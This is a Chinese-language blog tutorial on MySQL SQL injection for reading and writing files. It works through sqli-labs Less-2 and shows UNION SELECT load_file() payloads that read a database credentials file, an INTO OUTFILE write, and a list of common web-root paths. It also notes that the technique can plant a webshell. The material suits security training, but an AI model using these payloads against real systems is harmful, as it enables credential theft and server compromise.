SQL注入-文件读写

1.文件读写注入的原理

就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。

2.文件读写注入的条件

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限,就算是root用户刚开始也不能读取和写入文件,因为该权限没有打开,但root还是可以进入数据库中进行修改

secure_file_priv选项,在linux系统下是保存在etc文件下的my.cnf这个配置文件中,在windows的系统下,mysql中也有个my.ini这个配置文件

linux
cat /etc/my.cnf
        [mysqld]
        secure_file_priv=
win
    my .ini
        [mysqld]
         secure_file_priv=

1.读写文件需要secure_file_priv权限

secure_file_priv=           代表对文件读写没有限制,可以读写

secure_file_priv=NULL  代表不能进行文件读写

查看mysql全局变量的配置语句如下

show variables like '%secure%';

2.读取文件

使用函数:load_file()   后面的路径可以是单引号,0x(16进制),char转换的字符。(注意路径中斜杠是/不是\),一般可以与union中作为字段使用,查看config.php(即mysql的密码),apache配置....

我们先举个读写例子,我们在D盘创建一个d.txt的文件,然后用读取文件的语句.

select load_file('d:/d.txt');

 那在实战中该怎么运用呢,这里还是以sqli-less2作为举例,这里路径以单引号和0x(十六进制)作为举例,即对文件进行读取的语句如下。

http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,load_file('d:/d.txt'),3
或
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,load_file(0x643a5c642e747874),3

这里要注意的是如果是以单引号直接写的,斜杠是/不是\,是一个反斜杆,和我们正常路径下的斜杠是不同的,但如果是以16进制来当路径的话,是以正确的路径(正斜杠)来转换成16进制的。

在实战中,我们一般都是获取数据库的配置信息或者是mysql的账号,我们都知道mysql有一个配置文件,有一个db,里面有内部用户的信息,如下图,

知道了位置之后,直接用单引号进行查询,查询语句如下

http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,load_file(%27D:\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc%27),3

网页中看似什么都没有,实际上数据因为页面限制没有显示出来,这时候我们就看看网页源代码,发现,源代码页面就有我们想要的信息,这就是一个高权限查询文件信息的步骤

其实我们读取文件并不能,难的是我们要知道文件的路径,这才是最难的,这边也给大家提供一些可能的路径,因为没有绝对的信息,这都得靠以后的实战经验具体事例具体分析。

windows常见:

Phpstudy        phpstudy /www
                       phpstudy/PHPTutorial/www
Xampp           xampp/htdocs
wamp             wamp/ www
Appser           appser/www

Linux常见:

/var/mysql/data                 /var/www/html

路径获取的常见方式:报错显示,遗留文件,漏洞报错平台配置文件等

3.写入文件

使用函数:Info Outfile(能写入多行,按格式输出)和 into Dumpfile(只能写入一行且没有输出格式)

注意:outfile后面不能接0x开头或char转换后的路径,只能是单引号路径

我们用下列指令,给d盘中写入d.txt这个文件,内容是1,yr,3,运行之后我们到d盘上去寻找,发现确实有这个文件

http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,'yr',3 into outfile 'd:/d.txt'

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值